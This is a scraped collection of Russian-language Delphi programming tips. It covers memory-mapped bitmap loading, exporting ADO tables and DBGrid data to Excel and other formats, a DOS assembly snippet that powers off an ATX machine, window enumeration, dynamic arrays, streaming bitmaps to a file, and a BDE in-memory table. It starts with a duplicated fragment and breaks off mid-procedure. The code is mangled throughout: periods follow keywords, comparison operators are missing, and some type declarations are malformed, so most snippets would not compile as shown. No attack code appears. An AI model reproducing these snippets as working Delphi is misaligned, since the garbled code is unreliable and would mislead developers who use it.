Allocate(biWidth,biHeight); End; For j:=0 to BI.bmiHeader.biHeight-1 do. For i:=0 to BI.bmiHeader.biWidth-1 do. {Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}. Pixels[i,j]^.Tr:=ParrRGBTriple(PF+j*FLineSize+Ofs)^[i]; Finally. UnmapViewOfFile(PF); End; Finally. CloseHandle(HM); End; Finally. FileClose(HF); End; End; {эта функция - реализация Pixels read}. Function TMBitmap.GetPixel(X,Y:integer):PRGB; Begin. If (X>=0) and (Xand. (Y>=0) and (Ythen Result:=PRGB(PB+(Y)*FLineSize+X*3). Else Result:=PRGB(PB); End;

Экспорт ADO таблиц в разные форматы.

Code: { Exporting ADO tables into various formats. In this article I want to present a component I built in order to. Supply exporting features to the ADOTable component. ADO supplies. An extended SQL syntax that allows exporting of data into various. Formats. I took into consideration the following formats: 1)Excel. 2)Html. 3)Paradox. 4)Dbase. 5)Text. You can see all supported output formats in the registry: "HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\ISAM formats". This is the complete source of my component }. Unit ExportADOTable; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Db, ADODB; Type. TExportADOTable = class(TADOTable). Private. { Private declarations }. //TADOCommand component used to execute the SQL exporting commands. FADOCommand: TADOCommand; Protected. { Protected declarations }. Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; //Export procedures. //"FiledNames" is a comma separated list of the names of the fields you want to export. //"FileName" is the name of the output file (including the complete path). //if the dataset is filtered (Filtered = true and Filter <> ''), then I append. //the filter string to the sql command in the "where" directive. //if the dataset is sorted (Sort <> '') then I append the sort string to the sql command in the. //"order by" directive. Procedure ExportToExcel(FieldNames: string; FileName: string; SheetName: string; IsamFormat: string); Procedure ExportToHtml(FieldNames: string; FileName: string); Procedure ExportToParadox(FieldNames: string; FileName: string; IsamFormat: string); Procedure ExportToDbase(FieldNames: string; FileName: string; IsamFormat: string); Procedure ExportToTxt(FieldNames: string; FileName: string); Published. { Published declarations }. End; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('Carlo Pasolini', [TExportADOTable]); End; Constructor TExportADOTable.Create(AOwner: TComponent); Begin. Inherited; FADOCommand := TADOCommand.Create(Self); End; Procedure TExportADOTable.ExportToExcel(FieldNames: string; FileName: string; SheetName: string; IsamFormat: string); Begin. {IsamFormat values. Excel 3.0. Excel 4.0. Excel 5.0. Excel 8.0. } If not Active then. Exit; FADOCommand.Connection := Connection; FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' + SheetName + ']' + ' IN ' + '"' + FileName + '"' + '[' + IsamFormat + ';]' + ' From ' + TableName; If Filtered and (Filter <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter; If (Sort <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort; FADOCommand.Execute; End; Procedure TExportADOTable.ExportToHtml(FieldNames: string; FileName: string); Var. IsamFormat: string; Begin. If not Active then. Exit; IsamFormat := 'HTML Export'; FADOCommand.Connection := Connection; FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' + ExtractFileName(FileName) + ']' + ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat + ';]' + ' From ' + TableName; If Filtered and (Filter <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter; If (Sort <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort; FADOCommand.Execute; End; Procedure TExportADOTable.ExportToParadox(FieldNames: string; FileName: string; IsamFormat: string); Begin. {IsamFormat values. Paradox 3.X. Paradox 4.X. Paradox 5.X. Paradox 7.X. } If not Active then. Exit; FADOCommand.Connection := Connection; FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' + ExtractFileName(FileName) + ']' + ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat + ';]' + ' From ' + TableName; If Filtered and (Filter <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter; If (Sort <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort; FADOCommand.Execute; End; Procedure TExportADOTable.ExportToDbase(FieldNames: string; FileName: string; IsamFormat: string); Begin. {IsamFormat values. DBase III. DBase IV. DBase 5.0. } If not Active then. Exit; FADOCommand.Connection := Connection; FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' + ExtractFileName(FileName) + ']' + ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat + ';]' + ' From ' + TableName; If Filtered and (Filter <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter; If (Sort <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort; FADOCommand.Execute; End; Procedure TExportADOTable.ExportToTxt(FieldNames: string; FileName: string); Var. IsamFormat: string; Begin. If not Active then. Exit; IsamFormat := 'Text'; FADOCommand.Connection := Connection; FADOCommand.CommandText := 'Select ' + FieldNames + ' INTO ' + '[' + ExtractFileName(FileName) + ']' + ' IN ' + '"' + ExtractFilePath(FileName) + '"' + '[' + IsamFormat + ';]' + ' From ' + TableName; If Filtered and (Filter <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' where ' + Filter; If (Sort <> '') then. FADOCommand.CommandText := FADOCommand.CommandText + ' order by ' + Sort; FADOCommand.Execute; End; End. { Note that you can use an already existing database as destination but not an already existing. Table in the database itself: if you specify an already exixting table you will receive. An error message. You might insert a verification code inside every exporting procedure of my. Component, before the execution of the sql exporting command, in order to send a request of. Deleting the already present table or aborting the exporting process. Carlo Pasolini, Riccione(italy), e-mail: ccpasolini@libero.it. }

Как из HBitmap получить адрес Bitmap в памяти?

Вот кусок одного моего класса, в котором есть две интересные вещицы -

Проецирование файлов в память и работа с битмэпом в памяти через указатель.

Сразу оговорюсь, что все это работает только Delphi 2 и Win95/NT.

Code: Type. TarrRGBTriple=array[byte] of TRGBTriple; ParrRGBTriple=^TarrRGBTriple; {организует битмэп размером SX,SY;true_color}. Procedure TMBitmap.Allocate(SX,SY:integer); Var DC:HDC; Begin. If BM<>0 then DeleteObject(BM); {удаляем старый битмэп, если был}. BM:=0; PB:=nil; Fillchar(BI,sizeof(BI),0); With BI.bmiHeader do {заполняем структуру с параметрами битмэпа}. Begin. BiSize:=sizeof(BI.bmiHeader); BiWidth:=SX; biHeight:=SY; BiPlanes:=1; biBitCount:=24; BiCompression:=BI_RGB; BiSizeImage:=0; BiXPelsPerMeter:=0; biYPelsPerMeter:=0; BiClrUsed:=0; biClrImportant:=0; FLineSize:=(biWidth+1)*3 and (-1 shl 2); {размер строки(кратна 4 байтам)}. If (biWidth or biHeight)<>0 then. Begin. DC:=CreateDC('DISPLAY',nil,nil,nil); {замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу. Разместить выделяемый битмэп в спроецированном файле, что позволяет. Ускорять работу и экономить память при генерировании большого битмэпа}. {!} BM:=CreateDIBSection(DC,BI, DIB_RGB_COLORS, pointer(PB), nil, 0); DeleteDC(DC); {в PB получаем указатель на битмэп-----^^}. If BM=0 then Error('error creating DIB'); End; End; End; {эта процедура загружает из файла true-соlоr'ный битмэп}. Procedure TMBitmap.LoadFromFile(const FileName:string); Var HF:integer; {file handle}. HM:THandle; {file-mapping handle}. PF:pchar; {pointer to file view in memory}. I,j:integer; Ofs:integer; Begin. {открываем файл}. HF:=FileOpen(FileName,fmOpenRead or fmShareDenyWrite); If HF<0 then Error('open file '''+FileName+''''); Try. {создаем объект-проецируемый файл}. HM:=CreateFileMapping(HF,nil,PAGE_READONLY,0,0,nil); If HM=0 then Error('cant create file mapping'); Try. {собственно проецируем объект в адресное }. PF:=MapViewOfFile(HM,FILE_MAP_READ,0,0,0); {получаем указатель на область памяти, в которую спроецирован файл}. If PF=nil then Error('cant create map view of file'); Try. {работаем с файлом как с областью памяти через указатель PF}. If PBitmapFileHeader(PF)^.bfType<>$4D42 then Error('file format'); Ofs:=PBitmapFileHeader(PF)^.bfOffBits; With PBitmapInfo(PF+sizeof(TBitmapFileHeader))^.bmiHeader do. Begin. If (biSize<>40) or (biPlanes<>1) then Error('file format'); If (biCompression<>BI_RGB) or. (biBitCount<>24) then Error('only true-color BMP supported'); {выделяем память под битмэп}. Allocate(biWidth,biHeight); End; For j:=0 to BI.bmiHeader.biHeight-1 do. For i:=0 to BI.bmiHeader.biWidth-1 do. {Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}. Pixels[i,j]^.Tr:=ParrRGBTriple(PF+j*FLineSize+Ofs)^[i]; Finally. UnmapViewOfFile(PF); End; Finally. CloseHandle(HM); End; Finally. FileClose(HF); End; End; {эта функция - реализация Pixels read}. Function TMBitmap.GetPixel(X,Y:integer):PRGB; Begin. If (X>=0) and (Xand. (Y>=0) and (Ythen Result:=PRGB(PB+(Y)*FLineSize+X*3). Else Result:=PRGB(PB); End;

Выключение питания ATX корпуса из-под DOS.

Code: Mov ax,5301h. Sub bx,bx. Int 15h. Jb stop. Mov ax,530eh. Sub bx,bx. Int 15h. Jb stop. Mov ax,5307h. Mov bx,0001h. Mov cx,0003h. Int 15h. Stop: int 20h.

Код прислал Колесников Сергей Александрович [mailto:rovd@inbox.ru].

©Drkb::01686.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Пример EnumWindows.

Создайте форму и разместите на ней два компонента ListBox.

Скопируйте код, показанный ниже.

Запустите SysEdit.

Запустите форму Delphi. Первый ListBox должен содержать список всех запущенных приложений. Дважды щелкните на SysEdit и нижний ListBox покажет дочернее MDI-окно программы SysEdit.

Paul Powers (Borland).

Code: Unit Wintask1; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; Type. TForm1 = class(TForm). ListBox1: TListBox; ListBox2: TListBox; Procedure FormCreate(Sender: TObject); Procedure ListBox1DblClick(Sender: TObject); Private. Function enumListOfTasks(hWindow: hWnd): Bool; export; Function enumListOfChildTasks(hWindow: hWnd): Bool; export; End; THoldhWnd = class(TObject). Private. Public. HWindow: hWnd; End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender: TObject); Begin. EnumWindows(@TForm1.EnumListOfTasks, Longint(Self)); If (ListBox1.Items.Count > 0) then. ListBox1.ItemIndex := 0; End; Function TForm1.enumListOfTasks(hWindow: hWnd): Bool; Var. HoldString: PChar; WindowStyle: Longint; IsAChild: Word; HoldhWnd: THoldhWnd; Begin. GetMem(HoldString, 256); HoldhWnd := THoldhWnd.Create; HoldhWnd.hWindow := hWindow; WindowStyle := GetWindowLong(hWindow, GWL_STYLE); WindowStyle := WindowStyle and Longint(WS_VISIBLE); IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT); {Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }. If (GetWindowText(hWindow, HoldString, 255) > 0) and. (WindowStyle > 0) and (IsAChild = Word(nil)) then. ListBox1.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd)). Else if (GetClassName(hWindow, HoldString, 255) > 0) and. (WindowStyle > 0) and (IsAChild = Word(nil)) then. ListBox1.Items.AddObject(Concat('<', StrPas(HoldString), '>'), TObject(HoldhWnd)); FreeMem(HoldString, 256); HoldhWnd := nil; Result := TRUE; End; Function TForm1.enumListOfChildTasks(hWindow: hWnd): Bool; Var. HoldString: PChar; WindowStyle: Longint; IsAChild: Word; HoldhWnd: THoldhWnd; Begin. GetMem(HoldString, 256); HoldhWnd := THoldhWnd.Create; HoldhWnd.hWindow := hWindow; WindowStyle := GetWindowLong(hWindow, GWL_STYLE); WindowStyle := WindowStyle and Longint(WS_VISIBLE); IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT); {Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }. If (GetWindowText(hWindow, HoldString, 255) > 0) and. (WindowStyle > 0) and (IsAChild <> Word(nil)) then. ListBox2.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd)). Else if (GetClassName(hWindow, HoldString, 255) > 0) and. (WindowStyle > 0) and (IsAChild = Word(nil)) then. ListBox2.Items.AddObject(Concat('<', StrPas(HoldString), '>'), TObject(HoldhWnd)); FreeMem(HoldString, 256); HoldhWnd := nil; Result := TRUE; End; Procedure TForm1.ListBox1DblClick(Sender: TObject); Begin. EnumChildWindows(THoldhWnd(ListBox1.Items.Objects[ListBox1.ItemIndex]).hWindow, @TForm1.enumListOfChildTasks, Longint(Self)); ListBox2.RePaint; End; End.

Примеры работы с динамическими массивами.

Очень простой пример...

Code: Const. MaxBooleans = (High(Cardinal) - $F) div sizeof(boolean); Type. TBoolArray = array[1..MaxBooleans] of boolean; PBoolArray = ^TBoolArray; Var. B: PBoolArray; N: integer; Begin. N := 63579; {= получение памяти под динамический массив.. =}. GetMem(B, N * sizeof(boolean)); {= работа с массивом... =}. B^[3477] := FALSE; {= возвращение памяти в кучу =}. {$IFDEF VER80}. FreeMem(B, N * sizeof(boolean)); {$ELSE}. FreeMem(B); {$ENDIF}. End.

Массив в Delphi.

Вот несколько функций для операций с двухмерными массивами. Самый простой путь для создания собственной библиотеки. Процедуры SetV и GetV позволяют читать и сохранять элементы массива VArray (его Вы можете объявить как угодно). Например:

Code: Type. VArray: array[1..1] of double; Var. X: ^VArray; NR, NC: Longint; Begin. NR := 10000; NC := 100; If AllocArray(pointer(X), N * Sizeof(VArray)) then exit; SetV(X^, NC, 2000, 5, 3.27); { X[2000,5] := 3.27 }. End; Function AllocArray(var V: pointer; const N: longint): Boolean; Begin {распределяем память для массива V размера N}. Try. GetMem(V, N); Except. ShowMessage('ОШИБКА выделения памяти. Размер:' + IntToStr(N)); Result := True; Exit; End; FillChar(V^, N, 0); {в случае включения длинных строк заполняем их нулями}. Result := False; End; Procedure SetV(var X: Varray; const N, ir, ic: LongInt; const value: Double); Begin {заполняем элементами двухмерный массив X размером ? x N : X[ir,ic] := value}. X[N * (ir - 1) + ic] := value; End; Function GetV(const X: Varray; const N, ir, ic: Longint): double; Begin {возвращаем величины X[ir,ic] для двухмерного массива шириной N столбцов}. Result := X[N * (ir - 1) + ic]; End;

Экспорт из TDBGrid в Excel без OLE.

Code: { Exporting a DBGrid to excel without OLE. I develop software and about 95% of my work deals with databases. I enjoied the advantages of using Microsoft Excel in my projects. In order to make reports but recently I decided to convert myself. To the free OpenOffice suite. I faced with the problem of exporting data to Excel without having. Office installed on my computer. The first solution was to create directly an Excel format compatible file: This solution is about 50 times faster than the OLE solution but there. Is a problem: the output file is not compatible with OpenOffice. I wanted a solution which was compatible with each "DataSet"; At the same time I wanted to export only the dataset data present in. A DBGrid and not all the "DataSet". Finally I obtained this solution which satisfied my requirements. I hope that it will be usefull for you too. First of all you must import the ADOX type library. Which will be used to create the Excel file and its. Internal structure: in the Delphi IDE: 1)Project->Import Type Library: 2)Select "Microsoft ADO Ext. for DDL and Security". 3)Uncheck "Generate component wrapper" at the bottom. 4)Rename the class names (TTable, TColumn, TIndex, TKey, TGroup, TUser, TCatalog) in. (TXTable, TXColumn, TXIndex, TXKey, TXGroup, TXUser, TXCatalog). In order to avoid conflicts with the already present TTable component. 5)Select the Unit dir name and press "Create Unit". It will be created a file named AOX_TLB. Include ADOX_TLB in the "uses" directive inside the file in which you want. To use ADOX functionality. That is all. Let's go now with the implementation: } Unit DBGridExportToExcel; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, ComCtrls, DB, IniFiles, Buttons, dbgrids, ADOX_TLB, ADODB; Type TScrollEvents = class. BeforeScroll_Event: TDataSetNotifyEvent; AfterScroll_Event: TDataSetNotifyEvent; AutoCalcFields_Property: Boolean; End; Procedure DisableDependencies(DataSet: TDataSet; var ScrollEvents: TScrollEvents); Procedure EnableDependencies(DataSet: TDataSet; ScrollEvents: TScrollEvents); Procedure DBGridToExcelADO(DBGrid: TDBGrid; FileName: string; SheetName: string); Implementation. //Support procedures: I made that in order to increase speed in. //the process of scanning large amounts. //of records in a dataset. //we make a call to the "DisableControls" procedure and then disable the "BeforeScroll" and. //"AfterScroll" events and the "AutoCalcFields" property. Procedure DisableDependencies(DataSet: TDataSet; var ScrollEvents: TScrollEvents); Begin. With DataSet do. Begin. DisableControls; ScrollEvents := TScrollEvents.Create(); With ScrollEvents do. Begin. BeforeScroll_Event := BeforeScroll; AfterScroll_Event := AfterScroll; AutoCalcFields_Property := AutoCalcFields; BeforeScroll := nil; AfterScroll := nil; AutoCalcFields := False; End; End; End; //we make a call to the "EnableControls" procedure and then restore. // the "BeforeScroll" and "AfterScroll" events and the "AutoCalcFields" property. Procedure EnableDependencies(DataSet: TDataSet; ScrollEvents: TScrollEvents); Begin. With DataSet do. Begin. EnableControls; With ScrollEvents do. Begin. BeforeScroll := BeforeScroll_Event; AfterScroll := AfterScroll_Event; AutoCalcFields := AutoCalcFields_Property; End; End; End; //This is the procedure which make the work: Procedure DBGridToExcelADO(DBGrid: TDBGrid; FileName: string; SheetName: string); Var. Cat: _Catalog; Tbl: _Table; Col: _Column; I: integer; ADOConnection: TADOConnection; ADOQuery: TADOQuery; ScrollEvents: TScrollEvents; SavePlace: TBookmark; Begin. // //WorkBook creation (database). Cat := CoCatalog.Create; Cat._Set_ActiveConnection('Provider=Microsoft.Jet.OLEDB.4.0; Data Source=' + FileName + ';Extended Properties=Excel 8.0'); //WorkSheet creation (table). Tbl := CoTable.Create; Tbl.Set_Name(SheetName); //Columns creation (fields). DBGrid.DataSource.DataSet.First; With DBGrid.Columns do. Begin. For i := 0 to Count - 1 do. If Items[i].Visible then. Begin. Col := nil; Col := CoColumn.Create; With col do. Begin. Set_Name(Items[i].Title.Caption); Set_Type_(adVarWChar); End; //add column to table. Tbl.Columns.Append(col, adVarWChar, 20); End; End; //add table to database. Cat.Tables.Append(tbl); Col := nil; Tbl := nil; Cat := nil; //exporting. ADOConnection := TADOConnection.Create(nil); ADOConnection.LoginPrompt := False; ADOConnection.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0; Data Source=' + FileName + ';Extended Properties=Excel 8.0'; ADOQuery := TADOQuery.Create(nil); ADOQuery.Connection := ADOConnection; ADOQuery.SQL.Text := 'Select * from [' + SheetName + '$]'; ADOQuery.Open; DisableDependencies(DBGrid.DataSource.DataSet, ScrollEvents); SavePlace := DBGrid.DataSource.DataSet.GetBookmark; Try. With DBGrid.DataSource.DataSet do. Begin. First; While not Eof do. Begin. ADOQuery.Append; With DBGrid.Columns do. Begin. ADOQuery.Edit; For i := 0 to Count - 1 do. If Items[i].Visible then. Begin. ADOQuery.FieldByName(Items[i].Title.Caption).AsString := FieldByName(Items[i].FieldName).AsString; End; ADOQuery.Post; End; Next; End; End; Finally. DBGrid.DataSource.DataSet.GotoBookmark(SavePlace); DBGrid.DataSource.DataSet.FreeBookmark(SavePlace); EnableDependencies(DBGrid.DataSource.DataSet, ScrollEvents); ADOQuery.Close; ADOConnection.Close; ADOQuery.Free; ADOConnection.Free; End; End; End.

Работа с большими массивами.

Распределите память кучи с помощью GetMem. Если вы имеете:

Code: Var a, b: array[0..30000]: Integer;

То попробуйте:

Code: Type TBigArray = array[0..30000] of Integer; Var a, b: ^TBigArray;

Использование многомерного массива.

Code: Type RecType = integer; {<-- здесь задается тип элементов массива}. Const MaxRecItem = 65520 div sizeof(RecType); Type = MyArrayType = array[0..MaxRecItem] of RecType; Type = MyArrayTypePtr = ^MyArrayType; Var MyArray: MyArrayTypePtr; Begin. ItemCnt := 10; {количество элементов массива, которые необходимо распределить}. GetMem(MyArray, ItemCnt * sizeof(MyArray[1])); {распределение массива}. MyArray^[3] := 10; {доступ к массиву}. FreeMem(MyArray, ItemCnt * sizeof(MyArray[1])); {освобождаем массив после работы с ним}. End;

Michael Day.

©Drkb::00243.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Автор: Steve Schafer.

Code: Type. PRow = ^TRow; TRow = array[0..16379] of Single; PMat = ^TMat; TMat = array[0..16379] of PRow; Var. Mat: PMat; X, Y, Xmax, Ymax: Integer; Begin. Write('Задайте размер массива: '); ReadLn(Xmax, Ymax); If (Xmax <= 0) or (Xmax > 16380) or (Ymax <= 0) or (Ymax > 16380) then. Begin. WriteLn('Неверный диапазон. Не могу продолжить.'); Exit; End; GetMem(Mat, Xmax * SizeOf(PRow)); For X := 0 to Xmax - 1 do. Begin. GetMem(Mat[X], Ymax * SizeOf(Single)); For Y := 0 to Ymax - 1 do. Mat^[X]^[Y] := 0.0; End; WriteLn('Массив инициализирован и готов к работе.'); WriteLn('Но эта программа закончила свою работу.'); End.

Массив без ограничения типа и размера.

Code: //к примеру опишем свой тип. Type. MyType = record. Zap1: longword; Zap2: char; Zap3: string[10]; End; //опишем НЕОГРАНИЧЕННЫЙ массив переменный типа MyType. //хотя, может использоваться абсолютно любой. Var. M: array of MyType; .... Procedure TForm1.Button1Click(Sender: TObject); Var i: byte; Begin. For i := 0 to 9 do // нумерация элементов начинается с нуля! Begin. SetLength(m, Length(m) + 1); // увеличение длины массива на 1. M[i].zap1 := i; // присвоение. M[i].zap2 := chr(i); // полям. M[i].zap3 := inttostr(i); // значений. End; End; .... SetLength(m, 0); // освобождение памяти. End.

Сохранение массива c изображениями.

Я решил проблему записи массива TBitmap в файл и его повторного чтения.

Идея заключается в загрузке каждого TBitmap во временный TMemoryStream. Член TMemoryStream.Size информирует о размере данных, которые нужно сохранить на диске. Затем мы пишем размер и сопровождаем его данными типа TFileStream. Эту манипуляцию мы проделываем для каждого TBitmap в массиве.

Для процедуры чтения сначала мы должны считать из потока размер данных TBitmap. Затем мы распределяем область для типа TMemoryStream полученного размера и считываем данные. Затем переписываем из TFileStream в TMemoryStream. И, наконец, мы читает из TMemoryStream сам TBitmap. Эту манипуляцию мы проделываем для каждого TBitmap в массиве.

Ниже я привел код, который я реально использовал. Код из игры Bingo, которую я разрабатываю, имеет сетку 5x5, чьи ячейки содержат изображение.

Реализация алгоритма весьма медленна, поэтому если вы имеете или найдете более быстрый алгоритм, пожалуйста, уведомите меня об этом. Если у вас есть любые вопросы, пожалуйста, свяжитесь со мной.

Code: Procedure TMainForm.SaveBoard; Var. MemoryStream: TMemoryStream; FileStream: TFileStream; Writer: TWriter; Buffer: Pointer; Size: Longint; Column: Integer; Row: Integer; Begin. MemoryStream := TMemoryStream.Create; FileStream := TFileStream.Create(SaveFilename, fmCreate); Writer := TWriter.Create(FileStream, $1000); Try. For Column := 0 to 4 do. For Row := 0 to 4 do. Begin. MemoryStream.Clear; Bitmaps[Column, Row].SaveToStream(MemoryStream); Buffer := MemoryStream.Memory; Size := MemoryStream.Size; Writer.WriteInteger(Size); Writer.Write(Buffer^, Size); End; Finally. Writer.Free; FileStream.Free; MemoryStream.Free; End; End; Procedure TMainForm.Open1Click(Sender: TObject); Var. MemoryStream: TMemoryStream; FileStream: TFileStream; Buffer: Pointer; Reader: TReader; Column: Integer; Row: Integer; Size: Longint; Begin. OpenDialog2.Filename := SaveFilename; If not OpenDialog2.Execute then. Exit; MemoryStream := TMemoryStream.Create; FileStream := TFileStream.Create(OpenDialog2.Filename, fmOpenRead); Reader := TReader.Create(FileStream, $1000); Try. For Column := 0 to 4 do. For Row := 0 to 4 do. Begin. Size := Reader.ReadInteger; MemoryStream.SetSize(Size); Buffer := MemoryStream.Memory; Reader.Read(Buffer^, Size); Bitmaps[Column, Row].LoadFromStream(MemoryStream); End; Finally. Reader.Free; FileStream.Free; MemoryStream.Free; End; DrawGrid1.Repaint; SaveFilename := OpenDialog2.Filename; Caption := 'Bingo-создатель - ' + ExtractFilename(SaveFilename); End;

©Drkb::00245.

Http://delphiworld.narod.ru/

DelphiWorld 6.0.

Запись массива на диск.

Скажем, ваша структура данных выглядит следующим образом:

Code: Type. TMyRec = record. SomeField: Integer; SomeOtherField: Double; TheRest: array[0..99] of Single; End;

Быстрое сравнение памяти.

Я ищу функцию, которая была бы эквивалентом сишной функции memcmp.

Я создал следующие две функции, существенно повышающие произвотельность в приложениях, активно работающих с данными. Вам нужно всего-лишь обеспечить контроль типов и границ допустимого диапазона, все остальное они сделают с любым типом данных лучше нас :-) .

Code: Function Keys_are_Equal(var OldRec, NewRec; KeyLn: word): boolean; assembler; Asm. PUSH DS. MOV AL,01. CLD. LES DI,NewRec. LDS SI,OldRec. MOV CX,KeyLn. CLI. REPE CMPSB. STI. JZ @1. XOR AL,AL. @1: POP DS. End; Function First_Key_is_Less(var NewRec, OldRec; Keyln : word): boolean; assembler; Asm. PUSH DS. MOV AL,01. CLD. LES DI,NewRec. LDS SI,OldRec. MOV CX,KeyLn. CLI. REPE CMPSB. STI. JZ @5. JGE @6. @5: XOR AL,AL. @6: POP DS. End;

Перекрытие виртуальных методов.

Кто-нибудь знает, в чем разница между перекрытием (OVERRIDING) виртуального метода и заменой (REPLACING) его? Я немного запутался.

Допустим у вас есть класс:

Code: TMyObject = class (TObject).

И его наследник:

Code: TOverrideObject = class (TMyObject).

К примеру, TMyObject имеет метод Wiggle:

Code: Procedure Wiggle; virtual;

А TOverrideObject перекрывает Wiggle:

Code: Procedure Wiggle; override;

И, естественно, вы реализовали оба метода.

Теперь вы создаете TList, содержащий целую кучу MyObjects и OverrideObjects в свойстве TList.Items[n]. Свойство Items является указателем, поэтому для вызова метода Wiggle вам достаточно вызвать необходимый элемент списка. Например так:

Code: If TObject(Items[1]) is TMyObject then. TMyObject(Items[1]).Wiggle. Else. If TObject(Items[1]) is TOverrideObject then. TOverrideObject(Items[1]).Wiggle;

Вызов процедуры, имя которой содержится в переменной.

Как я могу вызвать процедуру, чье имя хранится в таблице, списке, и т.п.? Другими словами, я хочу сохранить имя процедуры в переменной и для ее вызова обращаться к значению этой переменной. Какие предложения?

Code: Unit ProcDict; Interface. Type MyProc = procedure(s: string); Procedure RegisterProc(procName: string; proc: MyProc); Procedure ExecuteProc(procName: string; arg: string); Implementation. Uses Classes; Var ProcDict: TStringList; Procedure RegisterProc(procName: string; proc: MyProc); Begin. ProcDict.AddObject(procName, TObject(@proc)); End; Procedure ExecuteProc(procName: string; arg: string); Var. Index: Integer; Begin. Index := ProcDict.IndexOf(ProcName); If index >= 0 then. MyProc(ProcDict.objects[index])(arg); // Можно вставить обработку исключительной ситуации - сообщение об ошибке. End; Initialization. ProcDict := TStringList.Create; ProcDict.Sorted := true; Finalization. ProcDict.Free; End.

Как создать таблицу в памяти?

Code: { This is an InMemoryTable example. Free for anyone to use, modify and do. Whatever else you wish. Just like all things free it comes with no guarantees. I cannot be responsible for any damage this code may cause. Let me repeat this: WARNING! THIS CODE IS PROVIDED AS IS WITH NO GUARANTEES OF ANY KIND! USE THIS AT YOUR OWN RISK - YOU ARE THE ONLY PERSON RESPONSIBLE FOR. ANY DAMAGE THIS CODE MAY CAUSE - YOU HAVE BEEN WARNED! THANKS to Steve Garland <72700.2407@compuserve.com> for his help. He created his own variation of an in-memory table component and. I used it to get started. InMemory tables are a feature of the Borland Database Engine (BDE). InMemory tables are created in RAM and deleted when you close them. They are much faster and are very useful when you need fast operations on. Small tables. This example uses the DbiCreateInMemoryTable DBE function call. This object should work just like a regular table, except InMemory. Tables do not support certain features (like referntial integrity, Secondary indexes and BLOBs) and currently this code doesn't do anything to. Prevent you from trying to use them. You will probably get some error if. You try to create a memo field. } Unit Inmem; Interface. Uses DBTables, WinTypes, WinProcs, DBITypes, DBIProcs, DB, SysUtils; Type. TInMemoryTable = class(TTable). Private. HCursor: hDBICur; Procedure EncodeFieldDesc(var FieldDesc: FLDDesc; Const Name: string; DataType: TFieldType; Size: Word); Function CreateHandle: HDBICur; override; Public. Procedure CreateTable; End; Implementation. { Luckely this function is virtual - so I could override it. In the. Original VCL code for TTable this function actually opens the table - But since we already have the handle to the table - we just return it. } Function TInMemoryTable.CreateHandle; Begin. Result := hCursor; End; { This function is cut-and-pasted from the VCL source code. I had to do. This because it is declared private in the TTable component so I had no. Access to it from here. } Procedure TInMemoryTable.EncodeFieldDesc(var FieldDesc: FLDDesc; Const Name: string; DataType: TFieldType; Size: Word); Const. TypeMap: array[TFieldType] of Byte = (fldUNKNOWN, fldZSTRING, fldINT16, FldINT32, fldUINT16, fldBOOL, FldFLOAT, fldFLOAT, fldBCD, fldDATE, fldTIME, fldTIMESTAMP, fldBYTES, FldVARBYTES, fldBLOB, fldBLOB, fldBLOB); Begin. With FieldDesc do. Begin. AnsiToNative(Locale, Name, szName, SizeOf(szName) - 1); IFldType := TypeMap[DataType]; Case DataType of. FtString, ftBytes, ftVarBytes, ftBlob, ftMemo, ftGraphic: IUnits1 := Size; FtBCD: Begin. IUnits1 := 32; IUnits2 := Size; End; End; Case DataType of. FtCurrency: ISubType := fldstMONEY; FtBlob: ISubType := fldstBINARY; FtMemo: ISubType := fldstMEMO; FtGraphic: ISubType := fldstGRAPHIC; End; End; End; { This is where all the fun happens. I copied this function from the VCL. Source and then changed it to use DbiCreateInMemoryTable instead of. DbiCreateTable. Since InMemory tables do not support Indexes - I took all of the. Index-related things out. } Procedure TInMemoryTable.CreateTable; Var. I: Integer; PFieldDesc: pFLDDesc; SzTblName: DBITBLNAME; IFields: Word; Dogs: pfldDesc; Begin. CheckInactive; If FieldDefs.Count = 0 then. For I := 0 to FieldCount - 1 do. With Fields[I] do. If not Calculated then. FieldDefs.Add(FieldName, DataType, Size, Required); PFieldDesc := nil; SetDBFlag(dbfTable, True); Try. AnsiToNative(Locale, TableName, szTblName, SizeOf(szTblName) - 1); IFields := FieldDefs.Count; PFieldDesc := AllocMem(iFields * SizeOf(FLDDesc)); For I := 0 to FieldDefs.Count - 1 do. With FieldDefs[I] do. Begin. 